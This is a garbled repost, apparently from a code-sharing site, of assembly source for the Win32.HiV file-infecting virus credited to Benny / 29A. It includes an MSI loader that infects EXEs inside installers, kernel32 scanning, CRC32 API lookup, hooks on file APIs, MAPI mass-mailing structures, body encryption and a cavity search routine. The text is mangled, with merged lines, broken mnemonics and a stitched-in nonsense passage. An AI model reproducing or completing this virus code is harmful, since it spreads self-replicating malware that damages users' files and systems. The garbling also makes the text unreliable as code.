this is MSI loader - virus places this procedure into EXE files inside MSIsmsi_start Procpushadcall mdeltamdelta: pop ebp; get delta offsetcall get_base; get base of K32test eax, eaxje end_msipush eaxcall crc32m1dd 04134D1ADh; LoadLibraryAdd 0AFDF191Fh; FreeLibrarydd 0FFC97C1Fh; GetProcAddresscrc32m1: pop esicall get_api; get addresses of these APIsxchg eax, ecxpop eaxtest ecx, ecxje end_msipush eaxadd esi, 4call get_api; ... xchg eax, editest edi, edipop eaxje end_msiadd esi, 4push eaxcall get_api; ... xchg eax, edxtest edx, edxpop eaxje end_msipush edx @ pushsz 'USER32'call ecx; load USER32.DLL libraryxchg eax, esitest esi, esipop edxje end_msi @ pushsz' MessageBoxA'push esicall edx; get address of MessageBoxA APIxchg eax, ecxtest ecx, ecxje freelibpush 1000h @ pushsz '[Win32.HiV] by Benny / 29A'szTitle: call szMsgp_msg: db 'This cell has been infected by HIV virus, generation:' gcount: db '0000000000', 0szMsg: push 0call ecx; show lame message:) freelib: push esicall edi; unload USER32 .Dllend_msi: popadmov EAX , Offset ExitProcessmsi_entrypoint = dword ptr $ -4jmp eax; and quit to host; this procedure can get base address of K32get_base Procpush ebp; store EBPcall gdlt; get delta offsetgdlt: pop ebp; to EBPmov eax, 12345678h; get lastly used addresslast_kern = dword ptr $ -4call check_kern; is this address valid jecxz end_gb;? yeah, we got the addresscall gb_table; jump over the address tabledd 077E00000h; NT / W2kdd 077E80000h; NT / W2kdd 077ED0000h; NT / W2kdd 077F00000h; NT / W2kdd 0BFF70000h; 95 / 98gb_table: pop edi; get pointer to address tablepush 4; get number of items in the tablepop esi; to ESIgbloop: mov eax, [edi esi * 4]; get itemcall check_kern; is address valid jecxz end_gb;?

yeah, we got the valid addressdec esi; decrement ESItest esi, esi; end of table jne gbloop; nope, try next itemcall scan_kern; scan the address space for K32end_gb:? pop ebp; restore EBPret; quitcheck_kern:; check if K32 address is validmov ecx, eax; make ECX = 0pushad; store all registers @ SEH_SetupFrame ; setup SEH framemovzx edx, word ptr [eax]; get two bytesadd edx, - "ZM";! is it MZ header jne end_ck;? Nopemov EBX, [EAX.MZ_LFANEW]; Get Poin; Normalize Itmov EBX, [EBX]; Get Four Bytesadd EBX, - "EP"; Is IT PE HEADER? JNE END_CK; NOPEXOR ECX, ECX; WE got K32 base addressmov [ebp last_kern - gdlt], eax; save K32 base addressend_ck: @SEH_RemoveFrame; remove sEH framemov [esp.Pushad_ecx], ecx; save ECXpopad; restore all registersret; if ECX == 0, address was foundSEH_hndlr macro Macro for SEH @ SEH_REMOVEFRAME; Remove SEH FRAMEPOPAD; Restore All RegistersAdd DWORD PTR [EBP BADDR - GDLT], 1000H; Explore Next PageJMP BCK; Continue ExecutionMscan_kern:; scan ad dress space for K32bck: pushad; store all registers @ SEH_SetupFrame ; setup SEH framemov eax, 077000000h; starting / last addressbAddr = dword ptr $ -4movzx edx, word ptr [eax]; get two bytesadd edx, - "ZM" Is IS MZ Header? JNE PG_FLT; NopeMov Edi, [Eax.mz_LFanew]; Get Poin; Normalize Itmov EBX, [EDI]; Get Four, Get, - "EP"; Is IT PEHEADER? jne pg_flt; nopemov ebx, eaxmov esi, eaxadd ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add esi, [ebx.ED_Name] mov esi, [esi] add esi, - 'NREK'je end_skpg_flt: xor ecx, ECX; We got k32 base addressmov [ECX], ESI;

generate PAGE FAULT search again ... end_sk:! mov [ebp last_kern - gdlt], eax; save K32 base address @ SEH_RemoveFrame; remove SEH framemov [esp.Pushad_eax], eax; save EAX - K32 basepopad; restore all registersretget_base EndP ; this procedure can retrieve address of given APIget_api Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framemov edi, [eax.MZ_lfanew]; move to PE headeradd edi, eax; ... mov ecx, [edi.NT_OptionalHeader .OH_DirectoryEntries.DE_Export.DD_Size] jecxz end_gpa; quit if no exportsmov ebx, eaxadd ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] mov edx, eax; get address of export tableadd edx, [ebx.ED_AddressOfNames]; address of API namesmov ecx, [ebx.ED_NumberOfNames]; number of API namesmov edi, edxpush dword ptr [esi]; save CRC32 to stackmov ebp, eaxxor eax, eaxAPIname: push eaxmov esi, ebp; get baseadd esi, [edx eax * 4 ]; Move to API Namepush ESI; Save Address @ endsz; Go to the end of stringsub ESI, [ESP]; Get StruEmov Edi, ESI; MOVE IT to EDIpop esi; restore address of API namecall CRC32; calculate CRC32 of API namecmp eax, [esp 4]; is it right API pop eaxje g_name;? yeah, we got itinc eax; increment counterloop APIname; and search for next API namepop eaxend_gpa: xor eax, eax; set flagok_gpa: @SEH_RemoveFrame; remove sEH framemov [esp.Pushad_eax], eax; save value to stackpopad; restore all registersret; quit from procedureg_name: pop edxmov edx, ebpadd edx, [ebx.ED_AddressOfOrdinals] movzx eax, word ptr [edx eax * 2] cmp eax, [ebx.ED_NumberOfFunctions] jae end_gpa-1mov edx, ebp; base of K32add edx, [ebx.ED_AddressOfFunctions]; address of API functionsadd ebp, [edx eax * 4 ]; GET API Function Addressxchg EAX, EBP;

we got address of API in EAXjmp ok_gpa; quitget_api EndPCRC32: push ecx; procedure for calculating CRC32spush edx; at run-timepush ebx xor ecx, ecx dec ecx mov edx, ecx NextByteCRC: xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, chmov ch, dlmov dl, dhmov dh, 8NextBitCRC: shr bx, 1rcr ax, 1jnc NoCRCxor ax, 08320hxor bx, 0EDB8hNoCRC: dec dhjnz NextBitCRCxor ecx, eaxxor edx, ebxdec edijne NextByteCRCnot edxnot ecxpop ebxmov eax, edxrol eax, 16mov ax, cxpop edxpop ecxretmsi_end: msi_start EndP; CRC32s of APIzcrc32s: dd 0DCF6E06Ch; GetEnvironmentVariableAdd 033D350C4h; OpenProcessdd 068624A9Dh; CloseHandledd 019F33607h; CreateThreaddd 079C3D4BBh; VirtualProtectdd 0FFC97C1Fh; GetProcAddressdd 04A27089Fh; ReadProcessMemorydd 00E9BBAD5h; WriteProcessMemorydd 056E1B657h; VirtualProtectExdd 0D4AFA114h; VirtualQueryExdd 04402890Eh; VirtualAllocdd 02AAD1211h; VirtualFreedd 0DA89FC22H; VirtualaLalkExDD 03C19E536H; setFileAttributeSadd 08c892ddfh; createfileadd 096b2d96ch; createfilemappingadd 0797b49ech; mapview; iledd 094524B42h; UnmapViewOfFiledd 085859D42h; SetFilePointerdd 059994ED6h; SetEndOfFiledd 04B2A3E7Dh; SetFileTimedd 0CC09D51Eh; DeviceIoControldd 0AE17EBEFh; FindFirstFileAdd 0AA700106h; FindNextFileAdd 0C200BE21h; FindClosedd 04134D1ADh; LoadLibraryAdd 0AFDF191Fh; FreeLibrarydd 021777793h; WriteFiledd 0DE256FDEh; DeleteFileAdd 004DCF392h; GetModuleFileNameAdd 082B618D4h; GetModuleHandleAdd 052E3BEB1h; IsDebuggerPresentdd 0EF7D811Bh; GetFileSizedd 054D8615Ah ; ReadFilecrc32c = ($ -crc32s) / 4; number of APIz; CRC32s of APIz for hookingcrcRes: dd 0AE17EBEFh; FindFirstFileAdd 0AA700106h; FindNextFileAdd 05BD05DB1h; CopyFileAdd 02308923Fh; MoveFileAdd 08C892DDFh; CreateFileAcrcResCount = ($ -crcRes) / 4;

pointerz to pointerz to APIz in memoryposRes: dd offset posFindFirstFileAdd offset posFindNextFileAdd offset posCopyFileAdd offset posMoveFileAdd offset posCreateFileA; pointerz to API hookerznewRes: dd offset newFindFirstFileA-Startdd offset newFindNextFileA-Startdd offset newCopyFileA-Startdd offset newMoveFileA-Startdd offset newCreateFileA-Start; pointerz to memory where will be saved 5 original bytes of APIzoldRes: dd offset oldFindFirstFileAdd offset oldFindNextFileAdd offset oldCopyFileAdd offset oldMoveFileAdd offset oldCreateFileAdb 11hend_virus:; end of virus in filedec_buff db 10 dup align 4a_apis (?):; addresses of APIsa_GetEnvironmentVariableA dd a_OpenProcess dd a_CloseHandle dd??? a_CreateThread dd? a_VirtualProtect dd? a_GetProcAddress dd? a_ReadProcessMemory dd? a_WriteProcessMemory dd? a_VirtualProtectEx dd? a_VirtualQueryEx dd? a_VirtualAlloc dd? a_VirtualFree dd? a_VirtualAllocEx dd? a_SetFileAttributesA dd? a_CreateFileA dd? a_CreateFileMappingA dd? a_MapViewOfFile dd ? A_UnmapViewOfFile dd? A_SetFilePointer dd? A_SetEndOfFile dd? A_SetFileTime dd? A_DeviceIoControl dd? A_FindFirstFileA dd? A_FindNextFileA dd? A_FindClose dd? A_LoadLibraryA dd? A_FreeLibrary dd? A_WriteFile dd? A_DeleteFileA dd? A_GetModuleFileNameA dd? A_GetModuleHandleA dd? A_IsDebuggerPresent dd? A_GetFileSize dd? A_ReadFile ? dd WFD WIN32_FIND_DATA; WIN32_FIND_DATA structurembi:? dd; MEMORY_BASIC_INFORMATIONdd; structure needed bydd; VirtualQueryEx APIreg_size dd; number of pages with same rights * size of one pagereg_state dd; state of page (s) dd dd mbi_size??????? = DWORD PTR $ -Mbireg_buffer db max_path dup (?); Some Bufferz with multiplywab_buffer db max_path DUP (?); USAGEMAPIMESSAGE DD 12 DUP (?);

MAPI messageMsgFrom dd 6 dup (?); Sender structureMsgTo dd 5 * 6 dup (?); Recipient structureMAPIFileDesc dd 6 dup (?); Attachment structuremails db 22h * 5 dup (?); Space for 5 mail addresses; extracted from address bookvirtual_end :; end of virus in memory.code; first generation codeFirstGeneration: pushad; encrypt virus bodymov esi, offset encryptedmov edi, esimov ecx, (end_virus-encrypted 3) / 4encrypt: lodsdxor eax, 12345678h; encrypt virusstosdloop encryptpopadenter 0,0; prolog of procedurepush ebxpush esipush ediE_EPO: jmp Start; jump to virus code; (will be overwritten by; procedure's epilog); size of virus raw datadb 0dh, 0ah, 'Virus size in file:' db '0' ((end_virus- START / 1000) MOD 10DB '0' (end_virus-start) / 100) MOD 10dB '0' (end_virus-start) / 10) MOD 10db '0' ((end_virus-start) / 1) MOD 10; Virtual Size Of Virusdb 0DH, 0AH, 'Virus Size In Memory:' DB '0' (Virtual_END-START) / 1000) MOD 10DB '0' (Virtual_END-START) / 100) MOD 10dB ' 0 ' (Virtual_END-START / 10) MOD 10DB' 0 ' (Virtual_END-START) / 1) Mo D 10dB 0DH, 0Ahends; End of First Generation; End of everything :) Which is nice? Where is Xiyomy? Where is Xomiyo? Who [hiv.asm]? Where is Xomomo and knowing is Xomiyoy? Where is Xomomo and know? -------------------------------------------------- --------------------------; CAVITY SEARCH ENGINE BENNY AND DARKMAN OF 29A ;; CALLING Parameters :; ECX = SIZE OF Search Area; ESI = pointer to search area ;; Return parameters :; ESI = pointer to cave ;; Changed registers :; EAX, EBX, ECX, EDX, ESI CSE: pushadlodsb; AL = byte within search areareset_cavity_loop: xchg eax, ebx; BL = "" "" xor edx, edx; zero edxdec ecx;

转载请注明原文地址:https://www.9cbs.com/read-37114.html

New Post(0)